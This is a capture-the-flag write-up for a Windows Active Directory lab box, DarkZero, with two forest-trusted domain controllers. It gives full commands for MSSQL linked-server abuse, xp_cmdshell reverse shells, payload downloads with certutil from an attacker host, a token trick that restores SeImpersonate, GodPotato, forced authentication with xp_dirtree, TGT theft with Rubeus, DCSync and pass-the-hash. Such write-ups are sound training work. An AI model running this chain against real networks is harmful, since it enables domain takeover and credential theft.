DarkZero


Box DarkZero
OS Windows
Difficulty Hard
Domains darkzero.htb (DC01) + darkzero.ext (DC02), forest trust between them
Foothold MSSQL linked server, guest gets sysadmin on the other domain
Lateral steal a token off a named pipe to get SeImpersonate back, then GodPotato
Root catch DC01’s TGT off DC02 via unconstrained delegation, DCSync

Assumed breach, you start with john.w / RFulUtONCOL!.

My box IP and my tun0 IP changed a few times because I had to reset it. swap them for yours everywhere below.


Enumeration

full port scan, scripts and versions.

nmap -sCV 10.129.64.145 -p- --min-rate 4000 -T4
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-16 21:15 -0400
Nmap scan report for 10.129.64.145
Host is up (0.23s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-17 01:13:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-09-17T00:56:34
|_Not valid after:  2027-09-17T00:56:34
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-09-17T00:56:34
|_Not valid after:  2027-09-17T00:56:34
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.64.145:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-09-17T01:07:58
|_Not valid after:  2056-09-17T01:07:58
|_ssl-date: 2026-09-17T01:15:17+00:00; -2m10s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.64.145:1433: 
|     Target_Name: darkzero
|     NetBIOS_Domain_Name: darkzero
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: darkzero.htb
|     DNS_Computer_Name: DC01.darkzero.htb
|     DNS_Tree_Name: darkzero.htb
|_    Product_Version: 10.0.26100
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-09-17T00:56:34
|_Not valid after:  2027-09-17T00:56:34
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-09-17T00:56:34
|_Not valid after:  2027-09-17T00:56:34
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49325/tcp open  msrpc         Microsoft Windows RPC
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49895/tcp open  msrpc         Microsoft Windows RPC
49929/tcp open  msrpc         Microsoft Windows RPC
54274/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-09-17T01:14:44
|_  start_date: N/A
|_clock-skew: mean: -2m08s, deviation: 1s, median: -2m08s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.76 seconds

53 + 88 + 389 + 445 all on one host is a domain controller. the odd one out is 1433, MSSQL on a DC. that is the way in.

add the box to hosts so name lookups work.

echo "10.129.64.145 dc01.darkzero.htb darkzero.htb DC01" | sudo tee -a /etc/hosts

confirm the creds actually work against SQL.

netexec mssql 10.129.64.145 -d darkzero.htb -u 'john.w' -p 'RFulUtONCOL!'

Image 1

green [+] and no (Pwn3d!). we can log in, but we are not admin.

pull the domain into BloodHound.

bloodhound-ce-python -u 'john.w' -p 'RFulUtONCOL!' -d darkzero.htb -c All -ns 10.129.64.145 --zip

Image 2

upload the zip, then run the built in Map domain trusts query.

CrossForestTrust between the two domains

DARKZERO.HTB and DARKZERO.EXT, bidirectional. this domain only has one computer in it, so there is nowhere to go inside darkzero.htb. the way out is through the trust, and the SQL server is how we reach it.


Foothold

connect to MSSQL.

impacket-mssqlclient -windows-auth 'darkzero.htb'/'john.w':'RFulUtONCOL!'@dc01.darkzero.htb

list the links =

enum_links

what is a linked server? a saved connection from one SQL server to another. the catch is it runs as whatever account was set up when the link was made, not as you. so a nobody on one box can become that saved account on the other.

enum_links shows the DC02 link

read the second table. john.w maps to remote login dc01_sql_svc, and Is Self Mapping is 0, meaning our identity gets swapped for that account. follow the link.

use_link [DC02.darkzero.ext]

prompt changes to dc01_sql_svc dbo@master. we are now on a SQL server in the other domain. turn on command execution.

enable_xp_cmdshell

test it.

xp_cmdshell whoami

xp_cmdshell returns svc_sql

darkzero-ext\svc_sql, code exec on DC02.

On kali start a listener.

rlwrap nc -lnvp 4444

grab a PowerShell #3 (Base64) payload off revshells.com with your IP and port, then feed it in mssql.

xp_cmdshell powershell -e <base64 blob>

shell lands as svc_sql

shell as svc_sql on DC02.


Lateral: getting SeImpersonate back

whoami /priv

no SeImpersonatePrivilege. that is the whole trick of this box.

service accounts normally have SeImpersonatePrivilege. every potato attack (GodPotato, PrintSpoofer, etc) needs it. this one had it stripped at logon. but the account still owns it, only this one process is missing it. get a fresh token and the privilege comes back.

we grab a fresh token straight out of a named pipe. transfer NtObjectManager (build it once on kali with pwsh -c "Save-Module -Name NtObjectManager -Path .", zip it, host it).

certutil -urlcache -split -f http://10.10.15.156/NtObjectManager.zip C:\programdata\NtObjectManager.zip

unpack, import, and pull the token. you can paste these one at a time or stack them with ;.

Expand-Archive C:\programdata\NtObjectManager.zip -DestinationPath C:\programdata\ -Force
Import-Module C:\programdata\2.0.1\NtObjectManager.psm1
$pipe = New-NtNamedPipeFile \\.\pipe\rivars -Win32Path
$job = Start-Job { $pipe.Listen() }
$file = Get-NtFile \\localhost\pipe\rivars -Win32Path
$token = Use-NtObject($pipe.Impersonate()) { Get-NtToken -Impersonation }

We make a pipe, we connect to it ourselves, then impersonate the connection. the token we get back is the full service token with all the privileges the process was missing.

check the token has what we need.

$token.privileges | ft Name, Attributes

token now has SeImpersonate

SeImpersonatePrivilege Enabled. got it back.

now GodPotato with that token to jump to SYSTEM. new listener first.

rlwrap nc -lnvp 9001

transfer GodPotato, then launch it inside the recovered token (base64 payload points at 9001).

certutil -urlcache -split -f http://10.10.15.156/GodPotato-NET4.exe C:\programdata\gp.exe
New-Win32Process -CommandLine 'C:\programdata\gp.exe -cmd "cmd /c powershell -e <BASE64_9001>"' -token $token

SYSTEM on DC02

SYSTEM on DC02. darkzero.ext is fully owned. one domain down, one to go.


Root: crossing the trust to DC01

check the trust from the DC itself.

nltest /domain_trusts /all_trusts

trust confirmed both ways

Direct Outbound and Direct Inbound, so the trust works both directions.

why this matters: domain controllers trust themselves for unconstrained delegation by default. that means when anything authenticates to DC02, its full ticket (TGT) gets cached in memory on DC02. we are SYSTEM on DC02, so we can read those tickets. if we can make DC01 authenticate to us, we catch DC01’s TGT.

we can make DC01 authenticate to us, from the same SQL access we already have.

transfer Rubeus.

certutil -urlcache -split -f http://10.10.15.156/Rubeus.exe C:\programdata\rubeus.exe

open a fresh MSSQL session as john.w. do not use_link this time, we want DC01 to be the one authenticating.

impacket-mssqlclient -windows-auth 'darkzero.htb'/'john.w':'RFulUtONCOL!'@dc01.darkzero.htb

coerce DC01 to reach out to DC02.

EXEC xp_dirtree '\\DC02.darkzero.ext\share';

then straight away, in the SYSTEM shell on DC02, dump the tickets.

C:\programdata\rubeus.exe dump /service:krbtgt /nowrap

Rubeus dump shows DC01$ TGT

I tried using Rubeus.exe monitor. but monitor blocks and buffers its output and just sits there doing nothing, dump runs once, prints, and exits, so the output actually comes back. coerce first, dump right after.

the first entry is what we want: DC01$ with krbtgt/DARKZERO.HTB and the flags forwarded, forwardable copy that whole base64 ticket blob.

on kali, decode it and convert to a usable ccache.

echo 'doIFjDCC...FULL_BLOB...' > dc01.b64
base64 -d dc01.b64 > dc01.kirbi
impacket-ticketConverter dc01.kirbi dc01.ccache

ticket converted

load the ticket and DCSync DC01.

export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass -just-dc-user Administrator dc01.darkzero.htb

Administrator hash dumped

there it is, the Administrator NT hash. pass the hash for the shell.

evil-winrm -i dc01.darkzero.htb -u Administrator -H 5917507bdf2ef2c2b0a869a1[REDACTED]

root on DC01


If something breaks

enum_links shows nothing or the prompt goes weird (-@master). the SQL session got mangled by a big payload. ctrl+c, reconnect, redo.

no reverse shell. check your http server is serving the folder with the payload, and that your base64 blob has the right IP and port.

token still missing SeImpersonate after the pipe trick. you ran the block against a shell that lost $token. the token dies with the shell, redo the pipe steps in the shell you are actually in.

GodPotato says Find System Token : False. it ran without the recovered token. launch it with New-Win32Process ... -token $token, not on its own.

Rubeus prints nothing. you used monitor. use dump instead (see the gotcha above).

ticketConverter or secretsdump errors. the base64 blob has a space or newline in it. re-copy it as one clean line.


Takeaways

a linked server is a borrowed credential. your privileges on one side tell you nothing about the other side, always check the far side.

privileges live on the token, not the account. SeImpersonate was never taken from svc_sql, only from one process. a fresh token brings it back.

unconstrained delegation on a DC plus a trust means any ticket that touches that DC is yours to steal. one low-priv SQL user with xp_dirtree is all it takes to force it.

when a “monitor” tool hangs forever in a reverse shell, it is probably buffering. reach for the one-shot version instead.


References